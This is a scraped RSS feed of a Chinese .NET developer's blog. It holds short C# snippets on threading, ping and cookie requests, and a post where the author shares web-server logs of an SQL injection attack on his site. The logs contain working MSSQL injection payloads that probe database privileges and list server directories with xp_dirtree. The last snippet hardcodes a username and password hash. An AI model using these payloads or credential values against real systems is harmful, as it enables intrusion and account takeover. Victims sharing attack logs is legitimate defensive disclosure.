http://chinait.com.cn/blogs/servucn/default.aspxzh-CHSCommunityServer 1.1 (Build: 1.0.4.31490)http://chinait.com.cn/blogs/servucn/archive/2007/07/14/1413.aspxSat, 14 Jul 2007 08:17:00 GMT67ea32e3-9178-4681-a6c3-cbf1c4b60496:14130http://chinait.com.cn/blogs/servucn/comments/1413.aspxhttp://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1413&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 解决方法:<p><pre style="border: 1px solid black; padding: 4px; background-color: rgb(237, 237, 237);"><div><span style="color: rgb(0, 0, 255);">private</span><span style="color: rgb(0, 0, 0);"> </span><span style="color: rgb(0, 0, 255);">void</span><span style="color: rgb(0, 0, 0);"> change() { </span><span style="color: rgb(0, 0, 255);">this</span><span style="color: rgb(0, 0, 0);">.label1.Text </span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);"> </span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">已发生变化</span><span style="color: rgb(0, 0, 0);">"</span><span style="color: rgb(0, 0, 0);">; } </span><span style="color: rgb(0, 0, 255);">private</span><span style="color: rgb(0, 0, 0);"> </span><span style="color: rgb(0, 0, 255);">void</span><span style="color: rgb(0, 0, 0);"> threadchange() </span><span style="color: rgb(0, 128, 0);">//</span><span style="color: rgb(0, 128, 0);">通过委托处理，MSDN上又很详细用法的说明</span><span style="color: rgb(0, 128, 0);"> </span><span style="color: rgb(0, 0, 0);"> { MethodInvoker In </span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);"> </span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);"> MethodInvoker(change); </span><span style="color: rgb(0, 0, 255);">this</span><span style="color: rgb(0, 0, 0);">.BeginInvoke(In); } </span><span style="color: rgb(0, 0, 255);">private</span><span style="color: rgb(0, 0, 0);"> </span><span style="color: rgb(0, 0, 255);">void</span><span style="color: rgb(0, 0, 0);"> button1_Click(</span><span style="color: rgb(0, 0, 255);">object</span><span style="color: rgb(0, 0, 0);"> sender, EventArgs e) { Thread cha </span><span style="color: rgb(0, 0, 0);">=</span><span style="color: rgb(0, 0, 0);"> </span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);"> Thread(</span><span style="color: rgb(0, 0, 255);">new</span><span style="color: rgb(0, 0, 0);"> ThreadStart(threadchange)); cha.Start(); }</span></div></pre><br></p><img src="http://chinait.com.cn/aggbug.aspx?PostID=1413" width="1" height="1">http://chinait.com.cn/blogs/servucn/archive/2006/12/21/1085.aspxThu, 21 Dec 2006 03:40:00 GMT67ea32e3-9178-4681-a6c3-cbf1c4b60496:10850http://chinait.com.cn/blogs/servucn/comments/1085.aspxhttp://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1085&nbsp; <br><img src="http://chinait.com.cn/aggbug.aspx?PostID=1085" width="1" height="1">http://chinait.com.cn/blogs/servucn/archive/2006/12/21/1084.aspxThu, 21 Dec 2006 03:13:00 GMT67ea32e3-9178-4681-a6c3-cbf1c4b60496:10840http://chinait.com.cn/blogs/servucn/comments/1084.aspxhttp://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1084真没有想到我这里一个网站http://www.ucasp.net 竟然也被人整天稍描，没有想到的是一个原本放在暗处的连接被人找到了。通过mssql注入进去了。<br>部分注入语句拿出来共享：<br>2006-12-19 23:01:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:10 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:10 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:20 W3SVC1282302946 202.75.219.146 GET /special-687.aspx - 80 - 60.191.80.45 YodaoBot/1.0+(http://www.yodao.com/help/webmaster/spider/;+) 200 0 0<br>2006-12-19 23:01:21 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:23 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:24 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0;declare%20@d%20int;-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:24 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20%61%6E%64%20%31%3D%31 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64<br>2006-12-19 23:01:25 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20and%20char(124)%2Bdb_name()%2Bchar(124)=0%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:26 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20%61%6E%64%20%31%3D%32 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 0<br>2006-12-19 23:01:26 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:28 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20%20and%20exists%20(select%20*%20from%20sysobjects)%20-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64<br>2006-12-19 23:01:35 W3SVC1282302946 202.75.219.146 GET /~rssfeed.aspx Action=Special&amp;ID=2396 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+2.0.50727;+.NET+CLR+1.1.4322) 404 0 0<br>2006-12-19 23:01:36 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+2.0.50727;+.NET+CLR+1.1.4322) 200 0 0<br>2006-12-19 23:01:40 W3SVC1282302946 202.75.219.146 GET /special-629.aspx - 80 - 60.191.80.45 YodaoBot/1.0+(http://www.yodao.com/help/webmaster/spider/;+) 200 0 0<br>2006-12-19 23:01:41 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396~ 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+2.0.50727;+.NET+CLR+1.1.4322) 500 0 0<br>2006-12-19 23:01:43 W3SVC1282302946 202.75.219.146 GET /Song-64030.aspx - 80 - 60.191.80.45 YodaoBot/1.0+(http://www.yodao.com/help/webmaster/spider/;+) 200 0 0<br>2006-12-19 23:01:43 W3SVC1282302946 202.75.219.146 GET /special-122.aspx - 80 - 202.160.179.80 Mozilla/5.0+(compatible;+Yahoo!+Slurp+China;+http://misc.yahoo.com.cn/help.html) 200 0 0<br>2006-12-19 23:01:52 W3SVC1282302946 202.75.219.146 GET /Song-72369.aspx - 80 - 60.191.80.45 YodaoBot/1.0+(http://www.yodao.com/help/webmaster/spider/;+) 200 0 0<br>2006-12-19 23:01:53 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396;DROP%20TABLE%20D99_Tmp;CREATE%20TABLE%20D99_Tmp(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20D99_Tmp%20exec%20master..xp_dirtree%20"d:\",%201,1-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64<br>2006-12-19 23:01:53 W3SVC1282302946 202.75.219.146 GET /special-2290.aspx - 80 - 60.191.80.45 YodaoBot/1.0+(http://www.yodao.com/help/webmaster/spider/;+) 200 0 0<br>2006-12-19 23:01:53 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20D99_Tmp)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:55 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396;DROP%20TABLE%20D99_Tmp;CREATE%20TABLE%20D99_Tmp(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20D99_Tmp%20exec%20master..xp_dirtree%20"d:\",%201,1-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64<br>2006-12-19 23:01:55 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20D99_Tmp)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396;DROP%20TABLE%20D99_Tmp;CREATE%20TABLE%20D99_Tmp(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20D99_Tmp%20exec%20master..xp_dirtree%20"c:\",%201,1-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64<br>2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20D99_Tmp)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%201%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%202%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%203%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%204%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%205%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%206%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%207%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:01:59 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%208%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:00 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%209%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:00 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%2010%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:02 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396;DROP%20TABLE%20D99_Tmp;CREATE%20TABLE%20D99_Tmp(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20D99_Tmp%20exec%20master..xp_dirtree%20"c:\Inetpub\",%201,1-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64<br>2006-12-19 23:02:02 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20D99_Tmp)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:02 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%201%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:02 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%202%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:02 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%203%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''=' 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20and%20char(124)%2Buser%2Bchar(124)=0;declare%20@d%20int;-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20and%20char(124)%2Bdb_name()%2Bchar(124)=0%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20%61%6E%64%20%31%3D%31 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64<br>2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20%61%6E%64%20%31%3D%32 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 0<br>2006-12-19 23:02:05 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20%20and%20exists%20(select%20*%20from%20sysobjects)%20-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64<br>2006-12-19 23:02:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396;DROP%20TABLE%20D99_Tmp;CREATE%20TABLE%20D99_Tmp(subdirectory%20VARCHAR(100),depth%20VARCHAR(100),[file]%20VARCHAR(100))%20%20Insert%20D99_Tmp%20exec%20master..xp_dirtree%20"c:\Inetpub\wwwroot\",%201,1-- 80 - 202.105.37.52 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 500 0 64<br>2006-12-19 23:02:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))%2Bchar(124)%20From%20D99_Tmp)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%201%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:07 W3SVC1282302946 202.75.219.146 GET /rssfeed.aspx Action=Special&amp;ID=2396%20And%20(Select%20Top%201%20char(124)%2BCast([file]%20as%20varchar(8000))%2Bsubdirectory%2Bchar(124)%20From%20(Select%20Top%202%20[subdirectory],[file]%20From%20D99_Tmp%20ORDER%20BY%20[file],[subdirectory])%20D%20ORDER%20BY%20[file]%20desc%20,%20[subdirectory]%20desc)=0%20%20-- 80 - 202.105.37.52 Internet+Explorer+6.0 500 0 0<br>2006-12-19 23:02:07 W3SVC1282302946 202.75.219.146 GET /guest.asp - 80 - 219.136.13.211 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1) 404 0 2<br><br><br><br><img src="http://chinait.com.cn/aggbug.aspx?PostID=1084" width="1" height="1">http://chinait.com.cn/blogs/servucn/archive/2006/12/07/1046.aspxThu, 07 Dec 2006 01:24:00 GMT67ea32e3-9178-4681-a6c3-cbf1c4b60496:10460http://chinait.com.cn/blogs/servucn/comments/1046.aspxhttp://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1046<PRE style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed"><DIV><SPAN style="COLOR: #000000"> System.Net.NetworkInformation.Ping p </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> System.Net.NetworkInformation.Ping(); PingOptions options </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> PingOptions(); options.DontFragment </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">true</SPAN><SPAN style="COLOR: #000000">; </SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000"> data </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">; </SPAN><SPAN style="COLOR: #0000ff">byte</SPAN><SPAN style="COLOR: #000000">[] buffer </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> Encoding.ASCII.GetBytes(data); </SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000"> timeout </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #000000">500</SPAN><SPAN style="COLOR: #000000">; PingReply reply </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> p.Send(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">62.150.35.230</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">, timeout, buffer, options); Response.Write(reply.Status.ToString());</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">返回状态</SPAN></DIV></PRE><img src="http://chinait.com.cn/aggbug.aspx?PostID=1046" width="1" height="1">http://chinait.com.cn/blogs/servucn/archive/2006/12/03/1030.aspxSun, 03 Dec 2006 12:16:00 GMT67ea32e3-9178-4681-a6c3-cbf1c4b60496:10301http://chinait.com.cn/blogs/servucn/comments/1030.aspxhttp://chinait.com.cn/blogs/servucn/commentrss.aspx?PostID=1030<PRE style="BORDER-RIGHT: black 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: black 1px solid; PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: black 1px solid; PADDING-TOP: 4px; BORDER-BOTTOM: black 1px solid; BACKGROUND-COLOR: #ededed"><DIV><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000"> webporxy </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> System.Configuration.ConfigurationManager.AppSettings[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">WebPoxy</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].ToString();// 获取代理：127.0.0.1:800 </SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000"> (webporxy </SPAN><SPAN style="COLOR: #000000">!=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">.Empty) System.Net.WebRequest.DefaultWebProxy </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> WebProxy(webporxy); Cookie cok </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> Cookie(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">pausername</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">, </SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">ServUcn</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">); Cookie cok1 </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> Cookie(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">pauserid</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">, </SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">6172260</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">); Cookie cok2 </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> Cookie(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">papasswordhash</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">, </SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">507277cf24a404d4911efdf12a59ae5e</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">); HttpWebRequest req </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> (HttpWebRequest)WebRequest.Create(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000"><A href='http://www.ucasp.net");'>http://www.ucasp.net</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">); </A> req.CookieContainer </SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000"> </SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> CookieContainer(); req.CookieContainer.Add(</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000"> Uri(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000"><SPAN style="COLOR: #000000"><A href='http://www.ucasp.net");/'><U><FONT 